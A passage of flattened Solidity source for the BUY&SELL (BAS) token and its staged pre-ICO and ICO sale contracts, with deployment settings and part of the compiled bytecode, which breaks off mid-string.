@param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: contracts/MintableToken.sol contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; address public saleAgent; modifier notLocked() { require(msg.sender == owner || msg.sender == saleAgent || mintingFinished); _; } function setSaleAgent(address newSaleAgnet) public { require(msg.sender == saleAgent || msg.sender == owner); saleAgent = newSaleAgnet; } function mint(address _to, uint256 _amount) public returns (bool) { require((msg.sender == saleAgent || msg.sender == owner) && !mintingFinished); totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() public returns (bool) { require((msg.sender == saleAgent || msg.sender == owner) && !mintingFinished); mintingFinished = true; MintFinished(); return true; } function transfer(address _to, uint256 _value) public notLocked returns (bool) { return super.transfer(_to, _value); } function transferFrom(address from, address to, uint256 value) public notLocked returns (bool) { return super.transferFrom(from, to, value); } } // File: contracts/ReceivingContractCallback.sol contract ReceivingContractCallback { function tokenFallback(address _from, uint _value) public; } // File: contracts/BuyAndSellToken.sol contract BuyAndSellToken is MintableToken { string public constant name = "BUY&SELL Token"; string public constant symbol = "BAS"; uint32 public constant decimals = 18; mapping(address => bool) public registeredCallbacks; function transfer(address _to, uint256 _value) public returns (bool) { return processCallback(super.transfer(_to, _value), msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { return processCallback(super.transferFrom(_from, _to, _value), _from, _to, _value); } function registerCallback(address callback) public onlyOwner { registeredCallbacks[callback] = true; } function deregisterCallback(address callback) public onlyOwner { registeredCallbacks[callback] = false; } function processCallback(bool result, address from, address to, uint value) internal returns(bool) { if (result && registeredCallbacks[to]) { ReceivingContractCallback targetCallback = ReceivingContractCallback(to); targetCallback.tokenFallback(from, value); } return result; } } // File: contracts/InvestedProvider.sol contract InvestedProvider is Ownable { uint public invested; } // File: contracts/PercentRateProvider.sol contract PercentRateProvider is Ownable { uint public percentRate = 100; function setPercentRate(uint newPercentRate) public onlyOwner { percentRate = newPercentRate; } } // File: contracts/RetrieveTokensFeature.sol contract RetrieveTokensFeature is Ownable { function retrieveTokens(address to, address anotherToken) public onlyOwner { ERC20 alienToken = ERC20(anotherToken); alienToken.transfer(to, alienToken.balanceOf(this)); } } // File: contracts/WalletProvider.sol contract WalletProvider is Ownable { address public wallet; function setWallet(address newWallet) public onlyOwner { wallet = newWallet; } } // File: contracts/CommonSale.sol contract CommonSale is InvestedProvider, WalletProvider, PercentRateProvider, RetrieveTokensFeature { using SafeMath for uint; address public directMintAgent; uint public price; uint public start; uint public minInvestedLimit; MintableToken public token; uint public hardcap; modifier isUnderHardcap() { require(invested < hardcap); _; } function setHardcap(uint newHardcap) public onlyOwner { hardcap = newHardcap; } modifier onlyDirectMintAgentOrOwner() { require(directMintAgent == msg.sender || owner == msg.sender); _; } modifier minInvestLimited(uint value) { require(value >= minInvestedLimit); _; } function setStart(uint newStart) public onlyOwner { start = newStart; } function setMinInvestedLimit(uint newMinInvestedLimit) public onlyOwner { minInvestedLimit = newMinInvestedLimit; } function setDirectMintAgent(address newDirectMintAgent) public onlyOwner { directMintAgent = newDirectMintAgent; } function setPrice(uint newPrice) public onlyOwner { price = newPrice; } function setToken(address newToken) public onlyOwner { token = MintableToken(newToken); } function calculateTokens(uint _invested) internal returns(uint); function mintTokensExternal(address to, uint tokens) public onlyDirectMintAgentOrOwner { mintTokens(to, tokens); } function mintTokens(address to, uint tokens) internal { token.mint(this, tokens); token.transfer(to, tokens); } function endSaleDate() public view returns(uint); function mintTokensByETHExternal(address to, uint _invested) public onlyDirectMintAgentOrOwner returns(uint) { return mintTokensByETH(to, _invested); } function mintTokensByETH(address to, uint _invested) internal isUnderHardcap returns(uint) { invested = invested.add(_invested); uint tokens = calculateTokens(_invested); mintTokens(to, tokens); return tokens; } function fallback() internal minInvestLimited(msg.value) returns(uint) { require(now >= start && now < endSaleDate()); wallet.transfer(msg.value); return mintTokensByETH(msg.sender, msg.value); } function () public payable { fallback(); } } // File: contracts/StagedCrowdsale.sol contract StagedCrowdsale is Ownable { using SafeMath for uint; struct Milestone { uint period; uint bonus; } uint public totalPeriod; Milestone[] public milestones; function milestonesCount() public view returns(uint) { return milestones.length; } function addMilestone(uint period, uint bonus) public onlyOwner { require(period > 0); milestones.push(Milestone(period, bonus)); totalPeriod = totalPeriod.add(period); } function removeMilestone(uint8 number) public onlyOwner { require(number < milestones.length); Milestone storage milestone = milestones[number]; totalPeriod = totalPeriod.sub(milestone.period); delete milestones[number]; for (uint i = number; i < milestones.length - 1; i++) { milestones[i] = milestones[i+1]; } milestones.length--; } function changeMilestone(uint8 number, uint period, uint bonus) public onlyOwner { require(number < milestones.length); Milestone storage milestone = milestones[number]; totalPeriod = totalPeriod.sub(milestone.period); milestone.period = period; milestone.bonus = bonus; totalPeriod = totalPeriod.add(period); } function insertMilestone(uint8 numberAfter, uint period, uint bonus) public onlyOwner { require(numberAfter < milestones.length); totalPeriod = totalPeriod.add(period); milestones.length++; for (uint i = milestones.length - 2; i > numberAfter; i--) { milestones[i + 1] = milestones[i]; } milestones[numberAfter + 1] = Milestone(period, bonus); } function clearMilestones() public onlyOwner { require(milestones.length > 0); for (uint i = 0; i < milestones.length; i++) { delete milestones[i]; } milestones.length -= milestones.length; totalPeriod = 0; } function lastSaleDate(uint start) public view returns(uint) { return start + totalPeriod * 1 days; } function currentMilestone(uint start) public view returns(uint) { uint previousDate = start; for(uint i=0; i < milestones.length; i++) { if(now >= previousDate && now < previousDate + milestones[i].period * 1 days) { return i; } previousDate = previousDate.add(milestones[i].period * 1 days); } revert(); } } // File: contracts/BASCommonSale.sol contract BASCommonSale is StagedCrowdsale, CommonSale { function calculateTokens(uint _invested) internal returns(uint) { uint milestoneIndex = currentMilestone(start); Milestone storage milestone = milestones[milestoneIndex]; uint tokens = _invested.mul(price).div(1 ether); if(milestone.bonus > 0) { tokens = tokens.add(tokens.mul(milestone.bonus).div(percentRate)); } return tokens; } function endSaleDate() public view returns(uint) { return lastSaleDate(start); } } // File: contracts/ICO.sol contract ICO is BASCommonSale { function finish() public onlyOwner { token.finishMinting(); } } // File: contracts/NextSaleAgentFeature.sol contract NextSaleAgentFeature is Ownable { address public nextSaleAgent; function setNextSaleAgent(address newNextSaleAgent) public onlyOwner { nextSaleAgent = newNextSaleAgent; } } // File: contracts/SoftcapFeature.sol contract SoftcapFeature is InvestedProvider, WalletProvider { using SafeMath for uint; mapping(address => uint) public balances; bool public softcapAchieved; bool public refundOn; uint public softcap; uint public constant devLimit = 4500000000000000000; address public constant devWallet = 0xEA15Adb66DC92a4BbCcC8Bf32fd25E2e86a2A770; function setSoftcap(uint newSoftcap) public onlyOwner { softcap = newSoftcap; } function withdraw() public { require(msg.sender == owner || msg.sender == devWallet); require(softcapAchieved); devWallet.transfer(devLimit); wallet.transfer(this.balance); } function updateBalance(address to, uint amount) internal { balances[to] = balances[to].add(amount); if (!softcapAchieved && invested >= softcap) { softcapAchieved = true; } } function refund() public { require(refundOn && balances[msg.sender] > 0); uint value = balances[msg.sender]; balances[msg.sender] = 0; msg.sender.transfer(value); } function updateRefundState() internal returns(bool) { if (!softcapAchieved) { refundOn = true; } return refundOn; } } // File: contracts/PreICO.sol contract PreICO is NextSaleAgentFeature, SoftcapFeature, BASCommonSale { address public bountyTokensWallet; address public advisorsTokensWallet; address public developersTokensWallet; uint public bountyTokens; uint public advisorsTokens; uint public developersTokens; bool public extraMinted; function setBountyTokens(uint newBountyTokens) public onlyOwner { bountyTokens = newBountyTokens; } function setAdvisorsTokens(uint newAdvisorsTokens) public onlyOwner { advisorsTokens = newAdvisorsTokens; } function setDevelopersTokens(uint newDevelopersTokens) public onlyOwner { developersTokens = newDevelopersTokens; } function setBountyTokensWallet(address newBountyTokensWallet) public onlyOwner { bountyTokensWallet = newBountyTokensWallet; } function setAdvisorsTokensWallet(address newAdvisorsTokensWallet) public onlyOwner { advisorsTokensWallet = newAdvisorsTokensWallet; } function setDevelopersTokensWallet(address newDevelopersTokensWallet) public onlyOwner { developersTokensWallet = newDevelopersTokensWallet; } function mintExtraTokens() public onlyOwner { require(!extraMinted); mintTokens(bountyTokensWallet, bountyTokens); mintTokens(advisorsTokensWallet, advisorsTokens); mintTokens(developersTokensWallet, developersTokens); extraMinted = true; } function mintTokensByETH(address to, uint _invested) internal returns(uint) { uint _tokens = super.mintTokensByETH(to, _invested); updateBalance(to, _invested); return _tokens; } function finish() public onlyOwner { if (updateRefundState()) { token.finishMinting(); } else { withdraw(); token.setSaleAgent(nextSaleAgent); } } function fallback() internal minInvestLimited(msg.value) returns(uint) { require(now >= start && now < endSaleDate()); return mintTokensByETH(msg.sender, msg.value); } } // File: contracts/Configurator.sol contract Configurator is Ownable { BuyAndSellToken public token; PreICO public preICO; ICO public ico; function deploy() public onlyOwner { address manager = 0xb3e3fFeE7bcEC75cbC98bf6Fa5Eb35488b0a0904; token = new BuyAndSellToken(); preICO = new PreICO(); ico = new ICO(); token.setSaleAgent(preICO); preICO.setStart(1526428800); // 16 May 2018 00:00:00 GMT preICO.addMilestone(1, 40); preICO.addMilestone(13, 30); preICO.setToken(token); preICO.setPrice(9000000000000000000000); preICO.setHardcap(16000000000000000000000); preICO.setSoftcap(500000000000000000000); preICO.setMinInvestedLimit(100000000000000000); preICO.setWallet(0x1cbeeCf1b8a71E7CEB7Bc7dFcf76f7aA1092EA42); preICO.setBountyTokensWallet(0x040Dd0f72c2350DCC043E45b8f9425E16190D7e3); preICO.setAdvisorsTokensWallet(0x9dd06c9697c5c4fc9D4D526b4976Bf5A9960FE55); preICO.setDevelopersTokensWallet(0x9fb9B9a8ABdA6626d5d739E7A1Ed80F519ac156D); preICO.setBountyTokens(7200000000000000000000000); preICO.setAdvisorsTokens(4800000000000000000000000); preICO.setDevelopersTokens(48000000000000000000000000); preICO.setNextSaleAgent(ico); preICO.mintExtraTokens(); ico.setStart(1529107200); // 16 Jun 2018 00:00:00 GMT ico.addMilestone(7, 25); ico.addMilestone(7, 15); ico.addMilestone(14, 10); ico.setToken(token); ico.setPrice(4500000000000000000000); ico.setHardcap(24000000000000000000000); ico.setMinInvestedLimit(100000000000000000); ico.setWallet(0x4cF77fF6230A31280F886b5D7dc7324c22443eB5); token.transferOwnership(manager); preICO.transferOwnership(manager); ico.transferOwnership(manager); } }
0x60606040526004361061005e5763ffffffff60e060020a6000350416635d452201811461006357806368a6e74b14610092578063775c300c146100a55780638da5cb5b146100ba578063f2fde38b146100cd578063fc0c546a146100ec575b600080fd5b341561006e57600080fd5b6100766100ff565b604051600160a060020a03909116815260200160405180910390f35b341561009d57600080fd5b61007661010e565b34156100b057600080fd5b6100b861011d565b005b34156100c557600080fd5b610076610e71565b34156100d857600080fd5b6100b8600160a060020a0360043516610e80565b34156100f757600080fd5b610076610f1b565b600354600160a060020a031681565b600254600160a060020a031681565b6000805433600160a060020a0390811691161461013957600080fd5b5073b3e3ffee7bcec75cbc98bf6fa5eb35488b0a0904610157610f2a565b604051809103906000f080151561016d57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790556101a2610f3a565b604051809103906000f08015156101b857600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790556101ed610f4a565b604051809103906000f080151561020357600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03928316179055600154600254908216916314133a7c911660405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151561027b57600080fd5b6102c65a03f1151561028c57600080fd5b5050600254600160a060020a0316905063f6a03ebf635afb748060405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b15156102dc57600080fd5b6102c65a03f115156102ed57600080fd5b5050600254600160a060020a03169050635601477b6001602860405160e060020a63ffffffff851602815260048101929092526024820152604401600060405180830381600087803b151561034157600080fd5b6102c65a03f1151561035257600080fd5b5050600254600160a060020a03169050635601477b600d601e60405160e060020a63ffffffff851602815260048101929092526024820152604401600060405180830381600087803b15156103a657600080fd5b6102c65a03f115156103b757600080fd5b5050600254600154600160a060020a03918216925063144fa6d7911660405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151561041157600080fd5b6102c65a03f1151561042257600080fd5b5050600254600160a060020a031690506391b7f5ed6901e7e4171bf4d3a0000060405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b151561047857600080fd5b6102c65a03f1151561048957600080fd5b5050600254600160a060020a0316905063e28fa27d6903635c9adc5dea00000060405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b15156104df57600080fd5b6102c65a03f115156104f057600080fd5b5050600254600160a060020a0316905063101e5a32681b1ae4d6e2ef50000060405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b151561054557600080fd5b6102c65a03f1151561055657600080fd5b5050600254600160a060020a0316905063a34d927067016345785d8a000060405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b15156105aa57600080fd5b6102c65a03f115156105bb57600080fd5b5050600254600160a060020a0316905063deaa59df731cbeecf1b8a71e7ceb7bc7dfcf76f7aa1092ea4260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151561062357600080fd5b6102c65a03f1151561063457600080fd5b5050600254600160a060020a0316905063fa8b72ff73040dd0f72c2350dcc043e45b8f9425e16190d7e360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151561069c57600080fd5b6102c65a03f115156106ad57600080fd5b5050600254600160a060020a03169050631cac31d7739dd06c9697c5c4fc9d4d526b4976bf5a9960fe5560405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151561071557600080fd5b6102c65a03f1151561072657600080fd5b5050600254600160a060020a0316905063940f02e0739fb9b9a8abda6626d5d739e7a1ed80f519ac156d60405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151561078e57600080fd5b6102c65a03f1151561079f57600080fd5b5050600254600160a060020a03169050636412aeb16a05f4a8c8375d155400000060405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b15156107f657600080fd5b6102c65a03f1151561080757600080fd5b5050600254600160a060020a031690506390ca38d96a03f870857a3e0e3800000060405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b151561085e57600080fd5b6102c65a03f1151561086f57600080fd5b5050600254600160a060020a0316905063010446326a27b46536c66c8e3000000060405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b15156108c657600080fd5b6102c65a03f115156108d757600080fd5b5050600254600354600160a060020a03918216925063e4deb007911660405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151561093157600080fd5b6102c65a03f1151561094257600080fd5b5050600254600160a060020a03169050639095269d6040518163ffffffff1660e060020a028152600401600060405180830381600087803b151561098557600080fd5b6102c65a03f1151561099657600080fd5b5050600354600160a060020a0316905063f6a03ebf635b24530060405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b15156109e657600080fd5b6102c65a03f115156109f757600080fd5b5050600354600160a060020a03169050635601477b6007601960405160e060020a63ffffffff851602815260048101929092526024820152604401600060405180830381600087803b1515610a4b57600080fd5b6102c65a03f11515610a5c57600080fd5b5050600354600160a060020a03169050635601477b6007600f60405160e060020a63ffffffff851602815260048101929092526024820152604401600060405180830381600087803b1515610ab057600080fd5b6102c65a03f11515610ac157600080fd5b5050600354600160a060020a03169050635601477b600e600a60405160e060020a63ffffffff851602815260048101929092526024820152604401600060405180830381600087803b1515610b1557600080fd5b6102c65a03f11515610b2657600080fd5b5050600354600154600160a060020a03918216925063144fa6d7911660405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b1515610b8057600080fd5b6102c65a03f11515610b9157600080fd5b5050600354600160a060020a031690506391b7f5ed68f3f20b8dfa69d0000060405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b1515610be657600080fd5b6102c65a03f11515610bf757600080fd5b5050600354600160a060020a0316905063e28fa27d6905150ae84a8cdf00000060405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b1515610c4d57600080fd5b6102c65a03f11515610c5e57600080fd5b5050600354600160a060020a0316905063a34d927067016345785d8a000060405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b1515610cb257600080fd5b6102c65a03f11515610cc357600080fd5b5050600354600160a060020a0316905063deaa59df734cf77ff6230a31280f886b5d7dc7324c22443eb560405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b1515610d2b57600080fd5b6102c65a03f11515610d3c57600080fd5b5050600154600160a060020a0316905063f2fde38b8260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b1515610d9057600080fd5b6102c65a03f11515610da157600080fd5b5050600254600160a060020a0316905063f2fde38b8260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b1515610df557600080fd5b6102c65a03f11515610e0657600080fd5b5050600354600160a060020a0316905063f2fde38b8260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b1515610e5a57600080fd5b6102c65a03f11515610e6b57600080fd5b50505050565b600054600160a060020a031681565b60005433600160a060020a03908116911614610e9b57600080fd5b600160a060020a0381161515610eb057600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600154600160a060020a031681565b604051610ef280610f5b83390190565b6040516119c580611e4d83390190565b6040516111b980613812833901905600606060405260038054600160a860020a03191633600160a060020a0316179055610ec48061002e6000396000f30060606040526004361061011c5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461012157806306fdde0314610148578063095ea7b3146101d257806314133a7c146101f457806318160ddd1461021557806323b872dd1461023a578063313ce5671461026257806340c10f191461028e5780634c66326d146102b057806366188463146102cf57806370a08231146102f15780637d64bcb4146103105780638da5cb5b1461032357806395d89b4114610352578063a9059cbb14610365578063b1d6a2f014610387578063cf1b037c1461039a578063d73dd623146103b9578063dd62ed3e146103db578063f2fde38b14610400578063f308846f1461041f575b600080fd5b341561012c57600080fd5b61013461043e565b604051901515815260200160405180910390f35b341561015357600080fd5b61015b61044e565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561019757808201518382015260200161017f565b50505050905090810190601f1680156101c45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101dd57600080fd5b610134600160a060020a0360043516602435610485565b34156101ff57600080fd5b610213600160a060020a03600435166104f1565b005b341561022057600080fd5b610228610556565b60405190815260200160405180910390f35b341561024557600080fd5b610134600160a060020a036004358116906024351660443561055c565b341561026d57600080fd5b61027561057c565b60405163ffffffff909116815260200160405180910390f35b341561029957600080fd5b610134600160a060020a0360043516602435610581565b34156102bb57600080fd5b610213600160a060020a0360043516610669565b34156102da57600080fd5b610134600160a060020a03600435166024356106a5565b34156102fc57600080fd5b610228600160a060020a036004351661079f565b341561031b57600080fd5b6101346107ba565b341561032e57600080fd5b61033661085f565b604051600160a060020a03909116815260200160405180910390f35b341561035d57600080fd5b61015b61086e565b341561037057600080fd5b610134600160a060020a03600435166024356108a5565b341561039257600080fd5b6103366108c3565b34156103a557600080fd5b610213600160a060020a03600435166108d2565b34156103c457600080fd5b610134600160a060020a0360043516602435610911565b34156103e657600080fd5b610228600160a060020a03600435811690602435166109b5565b341561040b57600080fd5b610213600160a060020a03600435166109e0565b341561042a57600080fd5b610134600160a060020a0360043516610a7b565b60035460a060020a900460ff1681565b60408051908101604052600e81527f4255592653454c4c20546f6b656e000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60045433600160a060020a039081169116148061051c575060035433600160a060020a039081169116145b151561052757600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60005481565b600061057461056c858585610a90565b858585610ae8565b949350505050565b601281565b60045460009033600160a060020a03908116911614806105af575060035433600160a060020a039081169116145b80156105c5575060035460a060020a900460ff16155b15156105d057600080fd5b6000546105e3908363ffffffff610ba316565b6000908155600160a060020a03841681526001602052604090205461060e908363ffffffff610ba316565b600160a060020a0384166000818152600160205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a250600192915050565b60035433600160a060020a0390811691161461068457600080fd5b600160a060020a03166000908152600560205260409020805460ff19169055565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561070257600160a060020a033381166000908152600260209081526040808320938816835292905290812055610739565b610712818463ffffffff610bb216565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526001602052604090205490565b60045460009033600160a060020a03908116911614806107e8575060035433600160a060020a039081169116145b80156107fe575060035460a060020a900460ff16155b151561080957600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600354600160a060020a031681565b60408051908101604052600381527f4241530000000000000000000000000000000000000000000000000000000000602082015281565b60006108bc6108b48484610bc4565b338585610ae8565b9392505050565b600454600160a060020a031681565b60035433600160a060020a039081169116146108ed57600080fd5b600160a060020a03166000908152600560205260409020805460ff19166001179055565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610949908363ffffffff610ba316565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a039081169116146109fb57600080fd5b600160a060020a0381161515610a1057600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60056020526000908152604090205460ff1681565b60035460009033600160a060020a0390811691161480610abe575060045433600160a060020a039081169116145b80610ad2575060035460a060020a900460ff165b1515610add57600080fd5b610574848484610c1b565b600080858015610b105750600160a060020a03841660009081526005602052604090205460ff165b15610b99575082600160a060020a038116633b66d02b86856040517c010000000000000000000000000000000000000000000000000000000063ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b1515610b8457600080fd5b6102c65a03f11515610b9557600080fd5b5050505b5093949350505050565b6000828201838110156108bc57fe5b600082821115610bbe57fe5b50900390565b60035460009033600160a060020a0390811691161480610bf2575060045433600160a060020a039081169116145b80610c06575060035460a060020a900460ff165b1515610c1157600080fd5b6108bc8383610d9d565b6000600160a060020a0383161515610c3257600080fd5b600160a060020a038416600090815260016020526040902054821115610c5757600080fd5b600160a060020a0380851660009081526002602090815260408083203390941683529290522054821115610c8a57600080fd5b600160a060020a038416600090815260016020526040902054610cb3908363ffffffff610bb216565b600160a060020a038086166000908152600160205260408082209390935590851681522054610ce8908363ffffffff610ba316565b600160a060020a03808516600090815260016020908152604080832094909455878316825260028152838220339093168252919091522054610d30908363ffffffff610bb216565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b6000600160a060020a0383161515610db457600080fd5b600160a060020a033316600090815260016020526040902054821115610dd957600080fd5b600160a060020a033316600090815260016020526040902054610e02908363ffffffff610bb216565b600160a060020a033381166000908152600160205260408082209390935590851681522054610e37908363ffffffff610ba316565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a3506001929150505600a165627a7a7230582079938a047e1d62996f41c14ca74b1670dfa97b6a6319010019bfdeb5114d765c00296060604052606460095560008054600160a060020a033316600160a060020a0319909116179055611990806100356000396000f3006060604052600436106102a55763ffffffff60e060020a6000350416630104463281146102b0578063101e5a32146102c8578063144fa6d7146102de5780631a9bf9cf146102fd5780631cac31d71461032257806327e235e3146103415780632e3b96bf146103605780633ccfd60b14610373578063480b890d146103865780634c94ac6a1461039c578063521eb273146103af5780635601477b146103de578063562605f1146103f7578063590e1ae31461041e5780636078268b146104315780636341ca0b146104445780636412aeb1146104695780636793c8e11461047f5780636abc3fe414610495578063769ffb7d146104a85780638090114f146104c7578063836880d3146104da5780638da5cb5b146104ed5780638ea5220f1461050057806390525c05146105135780639095269d1461052657806390ca38d91461053957806391b7f5ed1461054f578063940f02e01461056557806396fedaf71461058457806399cd211d146105975780639bf6eb60146105aa5780639dc905bb146105cc578063a035b1fe146105eb578063a34d9270146105fe578063aa525c5514610614578063ab36e4a61461062d578063b071cbe614610640578063bd17647f14610653578063be9a655514610672578063ca1e5bb714610685578063cafb2202146106a7578063ce14a46e146106ba578063d56b2889146106cd578063d64196f8146106e0578063d7d88043146106f3578063de38460b14610706578063deaa59df14610719578063e28fa27d14610738578063e4deb0071461074e578063e5f3b2dc1461076d578063e89e4ed614610780578063f2fde38b146107ae578063f6a03ebf146107cd578063f6ee2d8d146107e3578063f89be593146107f6578063fa8b72ff14610809578063fc0c546a14610828578063fd83da091461083b575b6102ad610851565b50005b34156102bb57600080fd5b6102c6600435610899565b005b34156102d357600080fd5b6102c66004356108b9565b34156102e957600080fd5b6102c6600160a060020a03600435166108d9565b341561030857600080fd5b610310610916565b60405190815260200160405180910390f35b341561032d57600080fd5b6102c6600160a060020a036004351661091c565b341561034c57600080fd5b610310600160a060020a0360043516610959565b341561036b57600080fd5b61031061096b565b341561037e57600080fd5b6102c6610971565b341561039157600080fd5b6102c6600435610a41565b34156103a757600080fd5b6102c6610a61565b34156103ba57600080fd5b6103c2610ae0565b604051600160a060020a03909116815260200160405180910390f35b34156103e957600080fd5b6102c6600435602435610aef565b341561040257600080fd5b61040a610b7b565b604051901515815260200160405180910390f35b341561042957600080fd5b6102c6610b89565b341561043c57600080fd5b610310610c10565b341561044f57600080fd5b6102c6600160a060020a0360043581169060243516610c16565b341561047457600080fd5b6102c6600435610d19565b341561048a57600080fd5b610310600435610d39565b34156104a057600080fd5b6103c2610dd5565b34156104b357600080fd5b6102c6600160a060020a0360043516610de4565b34156104d257600080fd5b610310610e21565b34156104e557600080fd5b61040a610e27565b34156104f857600080fd5b6103c2610e30565b341561050b57600080fd5b6103c2610e3f565b341561051e57600080fd5b610310610e57565b341561053157600080fd5b6102c6610e63565b341561054457600080fd5b6102c6600435610ee8565b341561055a57600080fd5b6102c6600435610f08565b341561057057600080fd5b6102c6600160a060020a0360043516610f28565b341561058f57600080fd5b61040a610f65565b34156105a257600080fd5b6103c2610f6e565b34156105b557600080fd5b6102c6600160a060020a0360043516602435610f7d565b34156105d757600080fd5b6102c660ff60043516602435604435610fc1565b34156105f657600080fd5b6103106110cf565b341561060957600080fd5b6102c66004356110d5565b341561061f57600080fd5b6102c660ff600435166110f5565b341561063857600080fd5b610310611208565b341561064b57600080fd5b61031061120f565b341561065e57600080fd5b6102c660ff60043516602435604435611215565b341561067d57600080fd5b6103106112a5565b341561069057600080fd5b610310600160a060020a03600435166024356112ab565b34156106b257600080fd5b6103106112f5565b34156106c557600080fd5b6103106112fb565b34156106d857600080fd5b6102c6611301565b34156106eb57600080fd5b610310611407565b34156106fe57600080fd5b61031061140d565b341561071157600080fd5b6103c261141f565b341561072457600080fd5b6102c6600160a060020a036004351661142e565b341561074357600080fd5b6102c660043561146b565b341561075957600080fd5b6102c6600160a060020a036004351661148b565b341561077857600080fd5b6103c26114c8565b341561078b57600080fd5b6107966004356114d7565b60405191825260208201526040908101905180910390f35b34156107b957600080fd5b6102c6600160a060020a0360043516611503565b34156107d857600080fd5b6102c6600435611591565b34156107ee57600080fd5b6103c26115b1565b341561080157600080fd5b6103106115c0565b341561081457600080fd5b6102c6600160a060020a03600435166115c6565b341561083357600080fd5b6103c2611603565b341561084657600080fd5b610310600435611612565b600034600d54811015151561086557600080fd5b600c54421015801561087d575061087a61140d565b42105b151561088857600080fd5b610892333461161e565b91505b5090565b60005433600160a060020a039081169116146108b457600080fd5b601555565b60005433600160a060020a039081169116146108d457600080fd5b600855565b60005433600160a060020a039081169116146108f457600080fd5b600e8054600160a060020a031916600160a060020a0392909216919091179055565b60135481565b60005433600160a060020a0390811691161461093757600080fd5b60118054600160a060020a031916600160a060020a0392909216919091179055565b60066020526000908152604090205481565b60155481565b60005433600160a060020a03908116911614806109aa575033600160a060020a031673ea1